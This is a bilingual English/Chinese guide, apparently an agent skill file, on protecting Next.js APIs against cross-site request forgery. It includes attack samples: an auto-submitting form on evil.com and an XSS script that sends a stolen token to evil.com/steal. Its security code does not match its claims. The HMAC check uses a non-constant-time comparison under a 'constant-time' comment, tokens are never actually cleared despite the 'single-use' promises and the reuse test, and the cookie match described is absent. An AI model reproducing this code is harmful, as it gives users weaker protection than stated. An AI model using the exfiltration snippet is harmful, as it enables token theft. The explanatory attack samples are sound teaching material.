csrf-protection

Compare original and translation side by side

🇺🇸

Original

English
🇨🇳

Translation

Chinese

CSRF Protection - Preventing Cross-Site Request Forgery

CSRF防护 - 防范跨站请求伪造

What CSRF Attacks Are

什么是CSRF攻击

The Attack Scenario

攻击场景

Imagine you're logged into your banking app. In another tab, you visit a malicious website. That website contains hidden code that submits a form to your bank: "Transfer $10,000 to attacker's account." Because you're logged in, your browser automatically sends your session cookie, and the bank processes the transfer.
This is Cross-Site Request Forgery—tricking your browser into making requests you didn't intend.
想象你已登录网银,在另一个标签页中访问了恶意网站。该网站包含隐藏代码,会向你的银行提交一个表单:“向攻击者账户转账10000美元”。由于你处于登录状态,浏览器会自动发送会话Cookie,银行便会处理这笔转账。
这就是跨站请求伪造(CSRF)——诱骗浏览器发起你并未授权的请求。

Real-World CSRF Attacks

真实世界中的CSRF攻击

Router DNS Hijacking (2008): A CSRF vulnerability in several home routers allowed attackers to change router DNS settings by tricking users into visiting a malicious website. Victims lost no money but were redirected to phishing sites for months. Millions of routers were affected.
YouTube Actions (2012): YouTube had a CSRF vulnerability that allowed attackers to perform actions as other users (like, subscribe, etc.) by tricking them into visiting a crafted URL.
路由器DNS劫持(2008年): 多款家用路由器存在CSRF漏洞,攻击者可诱骗用户访问恶意网站,进而修改路由器DNS设置。受害者虽未遭受财产损失,但会被长期重定向到钓鱼网站,受影响的路由器多达数百万台。
YouTube用户操作劫持(2012年): YouTube曾存在CSRF漏洞,攻击者可通过诱骗用户访问构造好的URL,以其他用户的身份执行操作(如点赞、订阅等)。

Why CSRF Is Still Common

为何CSRF漏洞仍普遍存在

According to OWASP, CSRF vulnerabilities appear in 35% of web applications tested. Why?
  • It's invisible when it works (users don't know they made a request)
  • Easy to forget to implement (no obvious broken functionality)
  • Developers often rely solely on authentication without checking request origin
据OWASP统计,35%的被测Web应用存在CSRF漏洞。原因如下:
  • 攻击成功时无明显迹象(用户毫不知情)
  • 开发者容易忽略防护实现(不会直接导致功能故障)
  • 开发者常仅依赖身份验证,未验证请求来源

Our CSRF Architecture

我们的CSRF防护架构

Implementation Features

实现特性

  1. HMAC-SHA256 Cryptographic Signing (industry standard)
    • Provides cryptographic proof token was generated by our server
    • Even if intercepted, attackers can't forge tokens without secret key
  2. Session-Bound Tokens
    • Tokens can't be used across different user sessions
    • Each user gets unique tokens
  3. Single-Use Tokens
    • Token cleared after validation
    • Window of opportunity is seconds, not hours
    • If captured, useless after one request
  4. HTTP-Only Cookies
    • JavaScript cannot access tokens
    • Prevents XSS-based token theft
  5. SameSite=Strict
    • Browser won't send cookie on cross-origin requests
    • Additional layer of protection
  1. HMAC-SHA256加密签名(行业标准)
    • 提供令牌由服务器生成的加密证明
    • 即使令牌被拦截,攻击者若无密钥也无法伪造
  2. 会话绑定令牌
    • 令牌无法跨不同用户会话使用
    • 每个用户拥有唯一令牌
  3. 一次性令牌
    • 验证后立即清除令牌
    • 攻击窗口仅为几秒而非数小时
    • 即使被捕获,使用一次后即失效
  4. HTTP-Only Cookie
    • JavaScript无法访问令牌
    • 防范基于XSS的令牌窃取
  5. SameSite=Strict
    • 浏览器不会在跨域请求中发送Cookie
    • 额外防护层

Implementation Files

实现文件

  • lib/csrf.ts
    - Cryptographic token generation
  • lib/withCsrf.ts
    - Middleware enforcing verification
  • app/api/csrf/route.ts
    - Token endpoint for clients
  • lib/csrf.ts
    - 加密令牌生成逻辑
  • lib/withCsrf.ts
    - 强制验证的中间件
  • app/api/csrf/route.ts
    - 供客户端获取令牌的端点

How to Use CSRF Protection

如何使用CSRF防护

Step 1: Wrap Your Handler

步骤1:包装处理函数

For any POST/PUT/DELETE endpoint:
typescript
import { NextRequest, NextResponse } from 'next/server';
import { withCsrf } from '@/lib/withCsrf';

async function handler(request: NextRequest) {
  // Your business logic here
  // Token automatically verified by withCsrf

  return NextResponse.json({ success: true });
}

// Apply CSRF protection
export const POST = withCsrf(handler);

export const config = {
  runtime: 'nodejs', // Required for crypto operations
};
针对所有POST/PUT/DELETE端点:
typescript
import { NextRequest, NextResponse } from 'next/server';
import { withCsrf } from '@/lib/withCsrf';

async function handler(request: NextRequest) {
  // 你的业务逻辑
  // 令牌会被withCsrf自动验证

  return NextResponse.json({ success: true });
}

// 应用CSRF防护
export const POST = withCsrf(handler);

export const config = {
  runtime: 'nodejs', // 加密操作需要
};

Step 2: Client-Side Token Fetching

步骤2:客户端获取令牌

Before making a protected request, fetch the CSRF token:
typescript
// Fetch CSRF token
const response = await fetch('/api/csrf', {
  credentials: 'include'
});
const { csrfToken } = await response.json();

// Use token in POST request
await fetch('/api/your-endpoint', {
  method: 'POST',
  headers: {
    'Content-Type': 'application/json',
    'X-CSRF-Token': csrfToken // Include token in header
  },
  credentials: 'include', // Important: send cookies
  body: JSON.stringify(data)
});
发起受保护请求前,先获取CSRF令牌:
typescript
// 获取CSRF令牌
const response = await fetch('/api/csrf', {
  credentials: 'include'
});
const { csrfToken } = await response.json();

// 在POST请求中使用令牌
await fetch('/api/your-endpoint', {
  method: 'POST',
  headers: {
    'Content-Type': 'application/json',
    'X-CSRF-Token': csrfToken // 在请求头中包含令牌
  },
  credentials: 'include', // 重要:发送Cookie
  body: JSON.stringify(data)
});

Step 3: What Happens Automatically

步骤3:自动执行的验证流程

When
withCsrf()
wraps your handler:
  1. Extracts CSRF token from
    X-CSRF-Token
    header
  2. Extracts CSRF cookie from request
  3. Verifies token matches cookie using HMAC
  4. Clears token after validation (single-use)
  5. If valid → calls your handler
  6. If invalid → returns HTTP 403 Forbidden
withCsrf()
包装处理函数时:
  1. X-CSRF-Token
    请求头中提取令牌
  2. 从请求中提取CSRF Cookie
  3. 使用HMAC验证令牌与Cookie是否匹配
  4. 验证后清除令牌(一次性使用)
  5. 验证通过 → 调用你的处理函数
  6. 验证失败 → 返回HTTP 403 Forbidden

Complete Example: Protected Contact Form

完整示例:受保护的联系表单

typescript
// app/api/contact/route.ts
import { NextRequest, NextResponse } from 'next/server';
import { withCsrf } from '@/lib/withCsrf';
import { withRateLimit } from '@/lib/withRateLimit';
import { validateRequest } from '@/lib/validateRequest';
import { contactFormSchema } from '@/lib/validation';
import { handleApiError } from '@/lib/errorHandler';

async function contactHandler(request: NextRequest) {
  try {
    const body = await request.json();

    // Validate input
    const validation = validateRequest(contactFormSchema, body);
    if (!validation.success) {
      return validation.response;
    }

    const { name, email, subject, message } = validation.data;

    // Process contact form
    await sendEmail({
      to: 'admin@example.com',
      from: email,
      subject,
      message
    });

    return NextResponse.json({ success: true });

  } catch (error) {
    return handleApiError(error, 'contact-form');
  }
}

// Apply both rate limiting AND CSRF protection
export const POST = withRateLimit(withCsrf(contactHandler));

export const config = {
  runtime: 'nodejs',
};
typescript
// app/api/contact/route.ts
import { NextRequest, NextResponse } from 'next/server';
import { withCsrf } from '@/lib/withCsrf';
import { withRateLimit } from '@/lib/withRateLimit';
import { validateRequest } from '@/lib/validateRequest';
import { contactFormSchema } from '@/lib/validation';
import { handleApiError } from '@/lib/errorHandler';

async function contactHandler(request: NextRequest) {
  try {
    const body = await request.json();

    // 验证输入
    const validation = validateRequest(contactFormSchema, body);
    if (!validation.success) {
      return validation.response;
    }

    const { name, email, subject, message } = validation.data;

    // 处理联系表单
    await sendEmail({
      to: 'admin@example.com',
      from: email,
      subject,
      message
    });

    return NextResponse.json({ success: true });

  } catch (error) {
    return handleApiError(error, 'contact-form');
  }
}

// 同时应用速率限制和CSRF防护
export const POST = withRateLimit(withCsrf(contactHandler));

export const config = {
  runtime: 'nodejs',
};

Frontend Integration Example

前端集成示例

typescript
// components/ContactForm.tsx
'use client';

import { useState } from 'react';

export function ContactForm() {
  const [formData, setFormData] = useState({
    name: '',
    email: '',
    subject: '',
    message: ''
  });

  async function handleSubmit(e: React.FormEvent) {
    e.preventDefault();

    try {
      // 1. Fetch CSRF token
      const csrfRes = await fetch('/api/csrf', {
        credentials: 'include'
      });
      const { csrfToken } = await csrfRes.json();

      // 2. Submit form with token
      const response = await fetch('/api/contact', {
        method: 'POST',
        headers: {
          'Content-Type': 'application/json',
          'X-CSRF-Token': csrfToken
        },
        credentials: 'include',
        body: JSON.stringify(formData)
      });

      if (response.ok) {
        alert('Message sent successfully!');
        setFormData({ name: '', email: '', subject: '', message: '' });
      } else if (response.status === 403) {
        alert('Security validation failed. Please refresh and try again.');
      } else if (response.status === 429) {
        alert('Too many requests. Please wait a moment.');
      } else {
        alert('Failed to send message. Please try again.');
      }
    } catch (error) {
      console.error('Error:', error);
      alert('An error occurred. Please try again.');
    }
  }

  return (
    <form onSubmit={handleSubmit}>
      <input
        type="text"
        placeholder="Name"
        value={formData.name}
        onChange={(e) => setFormData({ ...formData, name: e.target.value })}
        required
      />
      <input
        type="email"
        placeholder="Email"
        value={formData.email}
        onChange={(e) => setFormData({ ...formData, email: e.target.value })}
        required
      />
      <input
        type="text"
        placeholder="Subject"
        value={formData.subject}
        onChange={(e) => setFormData({ ...formData, subject: e.target.value })}
        required
      />
      <textarea
        placeholder="Message"
        value={formData.message}
        onChange={(e) => setFormData({ ...formData, message: e.target.value })}
        required
      />
      <button type="submit">Send Message</button>
    </form>
  );
}
typescript
// components/ContactForm.tsx
'use client';

import { useState } from 'react';

export function ContactForm() {
  const [formData, setFormData] = useState({
    name: '',
    email: '',
    subject: '',
    message: ''
  });

  async function handleSubmit(e: React.FormEvent) {
    e.preventDefault();

    try {
      // 1. 获取CSRF令牌
      const csrfRes = await fetch('/api/csrf', {
        credentials: 'include'
      });
      const { csrfToken } = await csrfRes.json();

      // 2. 携带令牌提交表单
      const response = await fetch('/api/contact', {
        method: 'POST',
        headers: {
          'Content-Type': 'application/json',
          'X-CSRF-Token': csrfToken
        },
        credentials: 'include',
        body: JSON.stringify(formData)
      });

      if (response.ok) {
        alert('消息发送成功!');
        setFormData({ name: '', email: '', subject: '', message: '' });
      } else if (response.status === 403) {
        alert('安全验证失败,请刷新后重试。');
      } else if (response.status === 429) {
        alert('请求过于频繁,请稍后再试。');
      } else {
        alert('消息发送失败,请重试。');
      }
    } catch (error) {
      console.error('Error:', error);
      alert('发生错误,请重试。');
    }
  }

  return (
    <form onSubmit={handleSubmit}>
      <input
        type="text"
        placeholder="姓名"
        value={formData.name}
        onChange={(e) => setFormData({ ...formData, name: e.target.value })}
        required
      />
      <input
        type="email"
        placeholder="邮箱"
        value={formData.email}
        onChange={(e) => setFormData({ ...formData, email: e.target.value })}
        required
      />
      <input
        type="text"
        placeholder="主题"
        value={formData.subject}
        onChange={(e) => setFormData({ ...formData, subject: e.target.value })}
        required
      />
      <textarea
        placeholder="消息"
        value={formData.message}
        onChange={(e) => setFormData({ ...formData, message: e.target.value })}
        required
      />
      <button type="submit">发送消息</button>
    </form>
  );
}

Attack Scenarios & Protection

攻击场景与防护效果

Attack 1: Malicious Website Submits Form

攻击1:恶意网站提交表单

Attack:
html
<!-- Attacker's website: evil.com -->
<form action="https://yourapp.com/api/delete-account" method="POST">
  <input type="hidden" name="confirm" value="yes" />
</form>
<script>
  document.forms[0].submit(); // Auto-submit
</script>
Protection:
  • No CSRF token in request → withCsrf() returns 403
  • User's account safe
攻击方式:
html
<!-- 攻击者网站:evil.com -->
<form action="https://yourapp.com/api/delete-account" method="POST">
  <input type="hidden" name="confirm" value="yes" />
</form>
<script>
  document.forms[0].submit(); // 自动提交
</script>
防护效果:
  • 请求中无CSRF令牌 → withCsrf()返回403
  • 用户账户安全

Attack 2: XSS Attempts to Read Token

攻击2:XSS尝试窃取令牌

Attack:
javascript
// Attacker injects script via XSS
fetch('/api/csrf')
  .then(r => r.json())
  .then(data => {
    // Send token to attacker
    fetch('https://evil.com/steal', {
      method: 'POST',
      body: JSON.stringify({ token: data.csrfToken })
    });
  });
Protection:
  • Token is single-use
  • Even if stolen, expires after one request
  • HTTPOnly cookies prevent cookie theft
  • SameSite=Strict prevents cross-origin cookie sending
攻击方式:
javascript
// 攻击者通过XSS注入脚本
fetch('/api/csrf')
  .then(r => r.json())
  .then(data => {
    // 将令牌发送给攻击者
    fetch('https://evil.com/steal', {
      method: 'POST',
      body: JSON.stringify({ token: data.csrfToken })
    });
  });
防护效果:
  • 令牌为一次性使用
  • 即使被窃取,使用一次后即失效
  • HTTPOnly Cookie防范Cookie窃取
  • SameSite=Strict防范跨域Cookie发送

Attack 3: Man-in-the-Middle Captures Token

攻击3:中间人攻击捕获令牌

Attack: Attacker intercepts network traffic and captures CSRF token.
Protection:
  • Single-use tokens become invalid after one use
  • HTTPS required in production (enforced by HSTS)
  • Short window of opportunity (seconds)
攻击方式: 攻击者拦截网络流量并捕获CSRF令牌。
防护效果:
  • 一次性令牌使用后立即失效
  • 生产环境要求HTTPS(由HSTS强制)
  • 攻击窗口极短(仅几秒)

Technical Implementation Details

技术实现细节

Token Generation (lib/csrf.ts)

令牌生成(lib/csrf.ts)

typescript
import { createHmac, randomBytes } from 'crypto';

export function generateCsrfToken(sessionId: string): string {
  const secret = process.env.CSRF_SECRET;
  if (!secret) {
    throw new Error('CSRF_SECRET not configured');
  }

  // Generate random token
  const token = randomBytes(32).toString('base64url');

  // Create HMAC signature
  const hmac = createHmac('sha256', secret)
    .update(`${token}:${sessionId}`)
    .digest('base64url');

  // Return token:hmac
  return `${token}.${hmac}`;
}

export function verifyCsrfToken(
  token: string,
  sessionId: string
): boolean {
  const secret = process.env.CSRF_SECRET;
  if (!secret || !token) return false;

  const [tokenPart, hmacPart] = token.split('.');
  if (!tokenPart || !hmacPart) return false;

  // Recreate HMAC
  const expectedHmac = createHmac('sha256', secret)
    .update(`${tokenPart}:${sessionId}`)
    .digest('base64url');

  // Constant-time comparison to prevent timing attacks
  return hmacPart === expectedHmac;
}
typescript
import { createHmac, randomBytes } from 'crypto';

export function generateCsrfToken(sessionId: string): string {
  const secret = process.env.CSRF_SECRET;
  if (!secret) {
    throw new Error('CSRF_SECRET not configured');
  }

  // 生成随机令牌
  const token = randomBytes(32).toString('base64url');

  // 创建HMAC签名
  const hmac = createHmac('sha256', secret)
    .update(`${token}:${sessionId}`)
    .digest('base64url');

  // 返回 token:hmac
  return `${token}.${hmac}`;
}

export function verifyCsrfToken(
  token: string,
  sessionId: string
): boolean {
  const secret = process.env.CSRF_SECRET;
  if (!secret || !token) return false;

  const [tokenPart, hmacPart] = token.split('.');
  if (!tokenPart || !hmacPart) return false;

  // 重新生成HMAC
  const expectedHmac = createHmac('sha256', secret)
    .update(`${tokenPart}:${sessionId}`)
    .digest('base64url');

  // 常量时间比较以防范时序攻击
  return hmacPart === expectedHmac;
}

Middleware Wrapper (lib/withCsrf.ts)

中间件包装器(lib/withCsrf.ts)

typescript
import { NextRequest, NextResponse } from 'next/server';
import { verifyCsrfToken } from './csrf';

export function withCsrf(
  handler: (request: NextRequest) => Promise<NextResponse>
) {
  return async (request: NextRequest) => {
    // Get token from header
    const token = request.headers.get('X-CSRF-Token');

    // Get session ID from cookie (simplified)
    const sessionId = request.cookies.get('sessionId')?.value;

    if (!token || !sessionId) {
      return NextResponse.json(
        { error: 'CSRF token missing' },
        { status: 403 }
      );
    }

    // Verify token
    if (!verifyCsrfToken(token, sessionId)) {
      return NextResponse.json(
        { error: 'CSRF token invalid' },
        { status: 403 }
      );
    }

    // Token valid - call handler
    return handler(request);
  };
}
typescript
import { NextRequest, NextResponse } from 'next/server';
import { verifyCsrfToken } from './csrf';

export function withCsrf(
  handler: (request: NextRequest) => Promise<NextResponse>
) {
  return async (request: NextRequest) => {
    // 从请求头获取令牌
    const token = request.headers.get('X-CSRF-Token');

    // 从Cookie中获取会话ID(简化版)
    const sessionId = request.cookies.get('sessionId')?.value;

    if (!token || !sessionId) {
      return NextResponse.json(
        { error: 'CSRF token missing' },
        { status: 403 }
      );
    }

    // 验证令牌
    if (!verifyCsrfToken(token, sessionId)) {
      return NextResponse.json(
        { error: 'CSRF token invalid' },
        { status: 403 }
      );
    }

    // 令牌有效 - 调用处理函数
    return handler(request);
  };
}

What CSRF Protection Prevents

CSRF防护能防范什么

Cross-site request forgery - Main protection ✅ Session fixation attacks - Tokens bound to sessions ✅ Cross-origin form submissions - SameSite=Strict ✅ Hidden iframe attacks - Token validation required ✅ One-click attacks - Token fetching step prevents
跨站请求伪造 - 核心防护目标 ✅ 会话固定攻击 - 令牌与会话绑定 ✅ 跨域表单提交 - SameSite=Strict拦截 ✅ 隐藏iframe攻击 - 需令牌验证 ✅ 一键式攻击 - 令牌获取步骤防范

Common Mistakes to Avoid

需避免的常见错误

DON'T skip CSRF for POST/PUT/DELETE
typescript
// BAD - No CSRF protection
export async function POST(request: NextRequest) {
  // Vulnerable!
}
DON'T put CSRF tokens in URL parameters
typescript
// BAD - Token in URL (logged, bookmarked, shared)
fetch(`/api/endpoint?csrf=${token}`)
DON'T reuse tokens
typescript
// BAD - Storing token for reuse
const savedToken = getCsrfToken();
// Later...
useSavedToken(savedToken); // May be expired/invalid
DON'T forget credentials: 'include'
typescript
// BAD - Cookies won't be sent
fetch('/api/endpoint', {
  headers: { 'X-CSRF-Token': token }
  // Missing: credentials: 'include'
});
DO fetch fresh token for each sensitive operationDO use X-CSRF-Token header (not URL)DO apply to all state-changing operationsDO combine with rate limiting for maximum protection
不要为POST/PUT/DELETE端点跳过CSRF防护
typescript
// 错误示例 - 无CSRF防护
export async function POST(request: NextRequest) {
  // 存在漏洞!
}
不要将CSRF令牌放在URL参数中
typescript
// 错误示例 - 令牌在URL中(会被记录、收藏、分享)
fetch(`/api/endpoint?csrf=${token}`)
不要重复使用令牌
typescript
// 错误示例 - 存储令牌以便重复使用
const savedToken = getCsrfToken();
// 后续操作...
useSavedToken(savedToken); // 可能已过期或失效
不要忘记添加credentials: 'include'
typescript
// 错误示例 - 不会发送Cookie
fetch('/api/endpoint', {
  headers: { 'X-CSRF-Token': token }
  // 缺失:credentials: 'include'
});
每次敏感操作都获取新令牌使用X-CSRF-Token请求头(而非URL)对所有状态变更操作应用防护结合速率限制以获得最大防护效果

Testing CSRF Protection

测试CSRF防护

Test 1: Valid Request

测试1:合法请求

bash
undefined
bash
undefined

Get CSRF token

获取CSRF令牌

TOKEN=$(curl -s http://localhost:3000/api/csrf
-c cookies.txt | jq -r '.csrfToken')
TOKEN=$(curl -s http://localhost:3000/api/csrf
-c cookies.txt | jq -r '.csrfToken')

Use token

使用令牌

curl -X POST http://localhost:3000/api/example-protected
-b cookies.txt
-H "Content-Type: application/json"
-H "X-CSRF-Token: $TOKEN"
-d '{"title": "test"}'
curl -X POST http://localhost:3000/api/example-protected
-b cookies.txt
-H "Content-Type: application/json"
-H "X-CSRF-Token: $TOKEN"
-d '{"title": "test"}'

Expected: 200 OK

预期结果:200 OK

undefined
undefined

Test 2: Missing Token

测试2:缺失令牌

bash
curl -X POST http://localhost:3000/api/example-protected \
  -H "Content-Type: application/json" \
  -d '{"title": "test"}'
bash
curl -X POST http://localhost:3000/api/example-protected \
  -H "Content-Type: application/json" \
  -d '{"title": "test"}'

Expected: 403 Forbidden - CSRF token missing

预期结果:403 Forbidden - CSRF token missing

undefined
undefined

Test 3: Invalid Token

测试3:无效令牌

bash
curl -X POST http://localhost:3000/api/example-protected \
  -H "Content-Type: application/json" \
  -H "X-CSRF-Token: fake-token-12345" \
  -d '{"title": "test"}'
bash
curl -X POST http://localhost:3000/api/example-protected \
  -H "Content-Type: application/json" \
  -H "X-CSRF-Token: fake-token-12345" \
  -d '{"title": "test"}'

Expected: 403 Forbidden - CSRF token invalid

预期结果:403 Forbidden - CSRF token invalid

undefined
undefined

Test 4: Token Reuse (Should Fail)

测试4:重复使用令牌(应失败)

bash
undefined
bash
undefined

Get token

获取令牌

TOKEN=$(curl -s http://localhost:3000/api/csrf
-c cookies.txt | jq -r '.csrfToken')
TOKEN=$(curl -s http://localhost:3000/api/csrf
-c cookies.txt | jq -r '.csrfToken')

Use once (succeeds)

首次使用(成功)

curl -X POST http://localhost:3000/api/example-protected
-b cookies.txt
-H "X-CSRF-Token: $TOKEN"
-d '{"title": "test"}'
curl -X POST http://localhost:3000/api/example-protected
-b cookies.txt
-H "X-CSRF-Token: $TOKEN"
-d '{"title": "test"}'

Try to reuse same token (should fail)

尝试重复使用同一令牌(应失败)

curl -X POST http://localhost:3000/api/example-protected
-b cookies.txt
-H "X-CSRF-Token: $TOKEN"
-d '{"title": "test2"}'
curl -X POST http://localhost:3000/api/example-protected
-b cookies.txt
-H "X-CSRF-Token: $TOKEN"
-d '{"title": "test2"}'

Expected: 403 Forbidden - Token already used

预期结果:403 Forbidden - Token already used

undefined
undefined

Secure Cookie Configuration

安全Cookie配置

Cookie Security Settings

Cookie安全设置

For any custom cookies in your application, always use these secure settings:
typescript
response.cookies.set('cookie-name', value, {
  httpOnly: true,                                    // Prevent XSS access
  sameSite: 'strict',                                // CSRF protection
  secure: process.env.NODE_ENV === 'production',    // HTTPS only in prod
  maxAge: 3600,                                      // Expiration (1 hour)
  path: '/',                                         // Cookie scope
});
Security Properties Explained:
  • httpOnly: true
    - JavaScript cannot access the cookie via
    document.cookie
    , preventing XSS theft
  • sameSite: 'strict'
    - Browser won't send cookie on cross-origin requests, blocking CSRF
  • secure: true
    - Cookie only sent over HTTPS (prevents man-in-the-middle interception)
  • maxAge
    - Cookie expiration time in seconds (shorter = more secure)
  • path: '/'
    - Where cookie is valid (restrict if possible)
应用中的所有自定义Cookie,应始终使用以下安全配置:
typescript
response.cookies.set('cookie-name', value, {
  httpOnly: true,                                    // 防范XSS访问
  sameSite: 'strict',                                // CSRF防护
  secure: process.env.NODE_ENV === 'production',    // 生产环境仅HTTPS
  maxAge: 3600,                                      // 过期时间(1小时)
  path: '/',                                         // Cookie作用域
});
安全属性说明:
  • httpOnly: true
    - JavaScript无法通过
    document.cookie
    访问Cookie,防范XSS窃取
  • sameSite: 'strict'
    - 浏览器不会在跨域请求中发送Cookie,阻止CSRF
  • secure: true
    - Cookie仅通过HTTPS发送(防范中间人拦截)
  • maxAge
    - Cookie过期时间(秒),越短越安全
  • path: '/'
    - Cookie生效路径(尽可能缩小范围)

Common Cookie Mistakes to Avoid

需避免的Cookie配置错误

NEVER do this:
typescript
// BAD - Missing security flags
response.cookies.set('session', sessionId);

// BAD - No httpOnly (vulnerable to XSS)
response.cookies.set('session', sessionId, { httpOnly: false });

// BAD - sameSite: 'none' (allows CSRF)
response.cookies.set('session', sessionId, { sameSite: 'none' });

// BAD - No expiration (never expires)
response.cookies.set('session', sessionId, { httpOnly: true });
ALWAYS do this:
typescript
// GOOD - All security flags
response.cookies.set('session', sessionId, {
  httpOnly: true,
  sameSite: 'strict',
  secure: process.env.NODE_ENV === 'production',
  maxAge: 3600, // 1 hour
  path: '/'
});
绝对不要这样做:
typescript
// 错误示例 - 缺失安全标记
response.cookies.set('session', sessionId);

// 错误示例 - 无httpOnly(易受XSS攻击)
response.cookies.set('session', sessionId, { httpOnly: false });

// 错误示例 - sameSite: 'none'(允许CSRF)
response.cookies.set('session', sessionId, { sameSite: 'none' });

// 错误示例 - 无过期时间(永久有效)
response.cookies.set('session', sessionId, { httpOnly: true });
始终这样做:
typescript
// 正确示例 - 包含所有安全标记
response.cookies.set('session', sessionId, {
  httpOnly: true,
  sameSite: 'strict',
  secure: process.env.NODE_ENV === 'production',
  maxAge: 3600, // 1小时
  path: '/'
});

Environment Configuration

环境配置

Required Environment Variables

必需的环境变量

bash
undefined
bash
undefined

.env.local

.env.local

CSRF_SECRET=<32-byte-base64url-string> SESSION_SECRET=<32-byte-base64url-string>
undefined
CSRF_SECRET=<32-byte-base64url-string> SESSION_SECRET=<32-byte-base64url-string>
undefined

Generate Secrets

生成密钥

bash
undefined
bash
undefined

Generate CSRF_SECRET

生成CSRF_SECRET

node -p "require('crypto').randomBytes(32).toString('base64url')"
node -p "require('crypto').randomBytes(32).toString('base64url')"

Generate SESSION_SECRET

生成SESSION_SECRET

node -p "require('crypto').randomBytes(32).toString('base64url')"

⚠️ **IMPORTANT:**
- Never commit secrets to version control
- Use different secrets for dev/staging/production
- Rotate secrets periodically (quarterly recommended)
node -p "require('crypto').randomBytes(32).toString('base64url')"

⚠️ **重要提示:**
- 绝不要将密钥提交到版本控制系统
- 开发/预发布/生产环境使用不同的密钥
- 定期轮换密钥(建议每季度一次)

References

参考资料

Next Steps

下一步操作

  • For rate limiting protection: Use
    rate-limiting
    skill
  • For input validation: Use
    input-validation
    skill
  • For complete API security: Combine CSRF + rate limiting + validation
  • For testing: Use
    security-testing
    skill
  • 如需速率限制防护:使用
    rate-limiting
    技能
  • 如需输入验证:使用
    input-validation
    技能
  • 如需完整API安全:结合CSRF + 速率限制 + 验证
  • 如需测试:使用
    security-testing
    技能